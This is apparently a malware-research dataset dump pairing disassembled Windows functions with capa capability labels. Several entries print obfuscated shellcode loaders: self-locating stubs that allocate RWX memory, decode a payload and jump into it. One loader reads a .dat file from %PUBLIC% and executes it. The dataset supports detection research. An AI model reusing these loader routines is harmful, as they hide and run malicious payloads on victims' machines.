joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d82c4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], 0
je 0x4d8323
lea eax, [ebp - 4]
push eax
push 0x40
push 6
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x4d82f7
call fcn.00412030
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov ecx, 6
call fcn.004031dc
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push 6
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x4d8323
call fcn.00412030
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4dcd64
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret

Function at 0x4dd9f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4dda71
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.00405664
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.0040c728
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.00405d0c
mov eax, dword [ebp - 4]
call fcn.004dd930
test al, al
je 0x4dda3e
mov byte [ebp - 5], 1
jmp 0x4dda4e
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 2
sete byte [ebp - 5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dda78
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004053f0
lea eax, [ebp - 0xc]
call fcn.00405b28
ret

Function at 0x4dde78
Capabilities:
Encode data using xor

Disassembly:
and edx, edx
je 0x4dde9b
and ecx, ecx
jle 0x4dde9b
push ebx
push edi
xor ebx, ebx
lea edi, cs:[0x4ddea1]
mov bl, al
shr eax, 8
xor bl, byte [edx]
xor eax, dword [edi + ebx*4]
inc edx
dec ecx
jne 0x4dde8b
pop edi
pop ebx
ret

Function at 0x4de47c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x4de4d9
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, dword [ebp - 0x14]
mov al, byte [eax]
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0xc]
call fcn.004de3cc
xor al, byte [ebp - 0xe]
mov byte [ebp - 0xd], al
mov edx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
call fcn.004de334
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, dword [ebp - 0x14]
mov dl, byte [ebp - 0xd]
mov byte [eax], dl
inc dword [ebp - 0x14]
dec dword [ebp - 0x18]
jne 0x4de49e
mov esp, ebp
pop ebp
ret
Function at 0x4de534
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0x12345678
mov dword [eax + 4], 0
mov eax, dword [ebp - 8]
mov dword [eax + 8], 0x23456789
mov dword [eax + 0xc], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0x10], 0x34567890
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 4]
call fcn.0040569c
dec eax
test eax, eax
jl 0x4de5aa
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 4]
call fcn.0040589c
add eax, dword [ebp - 0x10]
mov al, byte [eax]
mov edx, dword [ebp - 8]
call fcn.004de334
inc dword [ebp - 0x10]
dec dword [ebp - 0x18]
jne 0x4de58d
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
call fcn.004de3cc
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
xor al, byte [edx + ecx]
mov byte [ebp - 0x11], al
mov edx, dword [ebp - 8]
mov al, byte [ebp - 0x11]
call fcn.004de334
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov cl, byte [ebp - 0x11]
mov byte [eax + edx], cl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xc
jne 0x4de5af
mov esp, ebp
pop ebp
ret
Function at 0x4e9a58
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e9b19
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x113]
mov edx, 0x4e9b2c
call fcn.0040ca60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
xor edx, edx
call fcn.00405eb4
je 0x4e9ac0
lea eax, [ebp - 0x21c]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x4c]
call fcn.00405664
mov edx, dword [ebp - 0x21c]
lea eax, [ebp - 0x108]
call fcn.0040ca60
jmp 0x4e9ad1
lea eax, [ebp - 0x108]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x218]
push eax
push 0
lea eax, [ebp - 0x113]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.kernel32.dll_GetTempFileNameA
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x218]
mov ecx, 0x105
call fcn.00405cd8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e9b20
lea eax, [ebp - 0x21c]
call fcn.004053cc
ret

Function at 0x4fc3f0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040588c
xor eax, eax
push ebp
push 0x4fc4ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004053cc
mov eax, dword [ebp - 4]
call fcn.0040c2fc
test al, al
je 0x4fc4c4
lea ecx, [ebp - 0xc]
mov edx, 0x4fc500
mov eax, dword [ebp - 4]
call fcn.0040c60c
xor eax, eax
push ebp
push 0x4fc488
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4fc514
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004c1cc4
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.0047cdb8
mov eax, dword [ebp - 0xc]
call fcn.0040589c
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4fc4c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fc4f1
lea eax, [ebp - 0x14]
call fcn.004053cc
lea eax, [ebp - 0xc]
call fcn.004053cc
lea eax, [ebp - 4]
call fcn.004053cc
ret
Function at 0x4fd4e8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
call fcn.0040588c
mov eax, dword [ebp + 8]
call fcn.0040588c
xor eax, eax
push ebp
push 0x4fd5ad
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x4fd532
mov eax, dword [ebp - 0xc]
call fcn.0040589c
push eax
call sub.kernel32.dll_DeleteFileA
cmp dword [ebp - 8], 0
jne 0x4fd55f
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.004feea4
lea eax, [ebp - 0x10]
mov edx, 0x4fd5c4
call fcn.004056a4
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov edx, dword [ebp + 8]
call fcn.0049fc74
jmp 0x4fd58a
cmp dword [ebp - 8], 1
jne 0x4fd58a
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.004fc370
lea eax, [ebp - 0x14]
mov edx, 0x4fd5dc
call fcn.004056a4
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + 8]
call fcn.0049fc74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fd5b4
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004053f0
lea eax, [ebp + 8]
call fcn.004053cc
ret
Function at 0x4ff508
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004ff3d4
xor eax, eax
push ebp
push 0x4ff58b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
shl eax, 2
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov dword [eax], edx
mov eax, dword [ebp - 4]
inc dword [eax + 0x30]
mov eax, dword [ebp - 4]
inc dword [eax + 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 4]
jl 0x4ff575
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
add edx, 0x400
mov eax, dword [ebp - 4]
call fcn.004ff404
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ff592
mov eax, dword [ebp - 4]
call fcn.004ff3ec
ret

Function at 0x4fff7c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
test dl, dl
je 0x4fff90
add esp, 0xfffffff0
call fcn.00404830
mov ebx, edx
mov esi, eax
xor edx, edx
mov eax, esi
call fcn.004044c8
push esi
push 0x500530
call fcn.00425364
mov dword [esi + 0x448], eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi + 0x444], eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi + 4], eax
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi + 8], eax
push 0xfa0
lea eax, [esi + 0x41c]
push eax
call sub.kernel32.dll_InitializeCriticalSectionAndSpinCount
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x440], eax
mov eax, dword [ebp - 0x10]
shl eax, 2
sub eax, 2
mov dword [esi + 0x10], eax
cmp eax, 0x100
jle 0x50001e
mov dword [esi + 0x10], pe_nt_image_headers32
mov eax, esi
test bl, bl
je 0x500033
call fcn.00404888
pop dword fs:[0]
add esp, 0xc
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x504c9c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea0
xor edx, edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040588c
xor eax, eax
push ebp
push 0x504e9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x15], 1
lea eax, [ebp - 0x14]
call fcn.0040c988
mov eax, dword [ebp - 0x14]
call fcn.0040569c
mov edx, eax
lea eax, [ebp - 0x14]
call fcn.00405a2c
mov eax, dword [ebp - 4]
call fcn.0047cc34
test al, al
je 0x504e69
mov eax, dword [ebp - 4]
call fcn.004030d4
lea eax, [ebp - 0x158]
push eax
push 0x504eac
call sub.kernel32.dll_FindFirstFileA_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x504e31
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x12c]
mov ecx, 0x104
call fcn.0040564c
mov eax, dword [ebp - 0x10]
mov edx, 0x504eb8
call fcn.004057e8
je 0x504d57
mov eax, dword [ebp - 0x10]
mov edx, 0x504ec4
call fcn.004057e8
jne 0x504d6b
cmp byte [ebp - 0x15], 0
jne 0x504d61
xor eax, eax
jmp 0x504d63
mov al, 1
mov byte [ebp - 0x15], al
jmp 0x504e08
mov byte [ebp - 0x15], 0
cmp dword [ebp - 0x158], 0x10
jne 0x504dec
mov eax, dword [ebp - 4]
call fcn.0040569c
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x504db2
push dword [ebp - 4]
push 0x504ed0
push dword [ebp - 0x10]
lea eax, [ebp - 0x15c]
mov edx, 3
call fcn.0040575c
mov eax, dword [ebp - 0x15c]
call fcn.00504c9c
jmp 0x504dce
lea eax, [ebp - 0x160]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.004056e8
mov eax, dword [ebp - 0x160]
call fcn.00504c9c
mov eax, dword [ebp - 0x10]
call fcn.0040589c
push eax
call sub.kernel32.dll_RemoveDirectoryA
test eax, eax
jne 0x504de6
mov byte [ebp - 5], 0
jmp 0x504e08
mov byte [ebp - 5], 1
jmp 0x504e08
mov eax, dword [ebp - 0x10]
call fcn.0040589c
push eax
call sub.kernel32.dll_DeleteFileA
test eax, eax
jne 0x504e04
mov byte [ebp - 5], 0
jmp 0x504e08
mov byte [ebp - 5], 1
lea eax, [ebp - 0x158]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x504d26
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindClose_1
jmp 0x504e3f
mov eax, dword [ebp - 0x14]
call fcn.004030d4
mov byte [ebp - 5], 0
jmp 0x504e69
cmp byte [ebp - 0x15], 0
je 0x504e5d
mov eax, 0x504ed4
call fcn.004030e8
mov eax, dword [ebp - 4]
call fcn.0040589c
push eax
call sub.kernel32.dll_RemoveDirectoryA
mov eax, dword [ebp - 0x14]
call fcn.004030d4
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x504ea3
lea eax, [ebp - 0x160]
mov edx, 2
call fcn.004053f0
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004053f0
lea eax, [ebp - 4]
call fcn.004053cc
ret
Function at 0x50697c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040588c
xor eax, eax
push ebp
push 0x506a90
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004053cc
mov eax, dword [ebp - 4]
call fcn.0040c2fc
test al, al
je 0x506a6a
lea ecx, [ebp - 0xc]
mov edx, 0x506aa8
mov eax, dword [ebp - 4]
call fcn.0040c60c
xor eax, eax
push ebp
push 0x506a14
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x506abc
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.004c1cc4
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.0047cdb8
mov eax, dword [ebp - 0xc]
call fcn.0040589c
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x506a6a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x506a97
lea eax, [ebp - 0x14]
call fcn.004053cc
lea eax, [ebp - 0xc]
call fcn.004053cc
lea eax, [ebp - 4]
call fcn.004053cc
ret

Function at 0x5092e4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xf
add esp, 0xfffff004
push eax
dec eax
jne 0x5092ed
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 0xf00c], eax
xor eax, eax
push ebp
push 0x50937a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0xf008]
xor ecx, ecx
mov edx, 0xf000
call fcn.00403aa4
push 0
lea eax, [ebp - 4]
push eax
push 0xf000
lea eax, [ebp - 0xf008]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x64]
push eax
call sub.kernel32.dll_ReadFile_1
lea edx, [ebp - 0xf008]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, 0xefff
call fcn.005081f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x509381
lea eax, [ebp - 0xf00c]
call fcn.004053cc
ret
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10003ece
pop dword [ebp - 0x30]
mov eax, 0x10003ece
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x9d0504ab
add dword [ebp - 0x40], 0xb14d40a0
mov dword [ebp - 0x3c], 0x2c51ac33
sub dword [ebp - 0x3c], 0xfa1e5fee
mov dword [ebp - 0x38], 0x906dbbd5
add dword [ebp - 0x38], 0xbbde8859
mov dword [ebp - 0x34], 0x9f487cff
sub dword [ebp - 0x34], 0x9f487cff
lea eax, [ebp - 0x40]
push eax
mov eax, 0xa861d46a
sub eax, 0x98618426
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xed5d0e09
sub dword [ebp - 0x40], 0x78eaa4b3
mov dword [ebp - 0x3c], 0x5e425e95
add dword [ebp - 0x3c], 0xe32a02e0
mov dword [ebp - 0x38], 0x8cf86997
add dword [ebp - 0x38], 0xd67702d5
mov dword [ebp - 0x34], 0x6dbed78b
add dword [ebp - 0x34], 0x92412875
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x37962
push 0
call eax
mov ecx, 0x4bd0
mov edx, eax
mov edi, 0xa2f559b7
add edi, 0x6d0b5c49
add edi, dword [ebp - 0x30]
mov esi, 0x4c01421f
add esi, 0xc7e5a7ce
xor dword [ebp - 0x14], ebx
mov ebx, dword [edi]
sub ebx, esi
xor dword [ebp - 0x28], esi
mov dword [edx], ebx
xor dword [ebp - 0x1c], ebx
add edx, 4
add edi, 0xbe12e4b0
sub edi, 0xbe12e4ac
loop 0x10003fe0
add eax, 0x65119b32
add eax, 0x9aef86e1
mov ebx, eax
add eax, 0x2a95feb2
sub eax, 0x2a95fead
mov ecx, 0xdb001ce0
sub ecx, 0xcb001ce0
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x10001146
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_NotiPush_uF9JhMlWmT7zFJOtlD.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001146
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10001146
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001177
mov esp, ebp
pop ebp
ret

Function at 0x10001177
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001181
repz ret
jmp fcn.10001403
Function at 0x10004f6a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10001509
and dword [ebp - 0x14], 0
cmp dword [0x1000a784], 0
mov dword [ebp - 0x18], eax
jne 0x1000501d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100050c5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100050c5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a784], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a788], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a78c], eax
call edi
push eax
call esi
mov dword [0x1000a794], eax
test eax, eax
je 0x1000501d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a790], eax
mov eax, dword [0x1000a790]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10005076
cmp dword [0x1000a794], ecx
je 0x10005076
push eax
call esi
push dword [0x1000a794]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10005076
test ebx, ebx
je 0x10005076
call edi
test eax, eax
je 0x1000506d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000506d
test byte [ebp - 8], 1
jne 0x10005076
or dword [ebp + 0x10], 0x200000
jmp 0x100050a9
mov eax, dword [0x1000a788]
cmp eax, dword [ebp - 0x18]
je 0x100050a9
push eax
call esi
test eax, eax
je 0x100050a9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100050a9
mov eax, dword [0x1000a78c]
cmp eax, dword [ebp - 0x18]
je 0x100050a9
push eax
call esi
test eax, eax
je 0x100050a9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a784]
call esi
test eax, eax
je 0x100050c5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100050c7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001177
leave
ret
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40325b
pop dword [ebp - 0x38]
mov eax, 0x636d67b0
sub eax, 0x632d3555
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x85505b04
add dword [ebp - 0x48], 0xc901ea47
mov dword [ebp - 0x44], 0xb4ba288
add dword [ebp - 0x44], 0x26e7a9bd
mov dword [ebp - 0x40], 0xb11f2e89
sub dword [ebp - 0x40], 0x64d2ea5b
mov dword [ebp - 0x3c], 0x4f6d0896
add dword [ebp - 0x3c], 0xb092f76a
lea eax, [ebp - 0x48]
push eax
mov eax, 0xae75fe1c
sub eax, 0xae357da4
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xe3fe5450
sub dword [ebp - 0x48], 0x6f8beafa
mov dword [ebp - 0x44], 0xf0726bff
sub dword [ebp - 0x44], 0xaf060a8a
mov dword [ebp - 0x40], 0x8881b30e
add dword [ebp - 0x40], 0xdaedb95e
mov dword [ebp - 0x3c], 0x20dcf3ee
add dword [ebp - 0x3c], 0xdf230c12
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x9f62320e
sub eax, 0x9f21b192
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x39840
push 0
call eax
mov ecx, 0x1167424e
add ecx, 0xee990fa2
mov edi, eax
mov ebx, 0xe8d53132
sub ebx, 0xe8901d32
add ebx, dword [ebp - 0x38]
mov edx, 0xd4f46c68
sub dword [ebp - 0x14], 0xbf2d0aa1
mov esi, dword [ebx]
mov dword [ebp - 0x14], 0xe1135fc1
xor esi, edx
add dword [ebp - 0x24], 0x991edd12
mov dword [edi], esi
add edi, 0x648f1597
sub edi, 0x648f1593
add ebx, 0x9fecd205
add ebx, 0x60132dff
loop 0x403377
add eax, 0xa5c6dd99
add eax, 0x5a3a5cfa
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9e257fba
sub ecx, 0x9de57fba
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x1000e9b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000e9bf
pop dword [ebp - 0x24]
mov eax, 0x1000e9bf
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x2226a6d4
sub dword [ebp - 0x34], 0xd3d46189
mov dword [ebp - 0x30], 0x4d686910
sub dword [ebp - 0x30], 0x1b351ccb
mov dword [ebp - 0x2c], 0x7f44ac84
sub dword [ebp - 0x2c], 0x32f86856
mov dword [ebp - 0x28], 0x1c855f85
sub dword [ebp - 0x28], 0x1c855f85
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x130fe7ea
add dword [ebp - 0x34], 0x6162816c
mov dword [ebp - 0x30], 0xc95f8f83
sub dword [ebp - 0x30], 0x87f32e0e
mov dword [ebp - 0x2c], 0x641bbb89
add dword [ebp - 0x2c], 0xff53b0e3
mov dword [ebp - 0x28], 0x65b04340
add dword [ebp - 0x28], 0x9a4fbcc0
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xcbfa8512
add eax, 0x44070b26
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3c52d
push 0
call eax
mov ecx, 0x5f0e
mov esi, eax
mov edi, 0x1489eed7
sub edi, 0x487c6d7
add edi, dword [ebp - 0x24]
mov ebx, 0x8a4006a2
sub ebx, 0xc1bb1171
mov edx, dword [edi]
add edx, ebx
xor dword [ebp - 0xc], 0xc476e6f2
mov dword [esi], edx
add dword [ebp - 0x20], 0xb867f585
add esi, 4
add edi, 4
loop 0x1000ead1
add eax, 0xc14a3a11
add eax, 0x3eb734fa
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8b9a6ff0
sub ecx, 0x7b9a6ff0
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret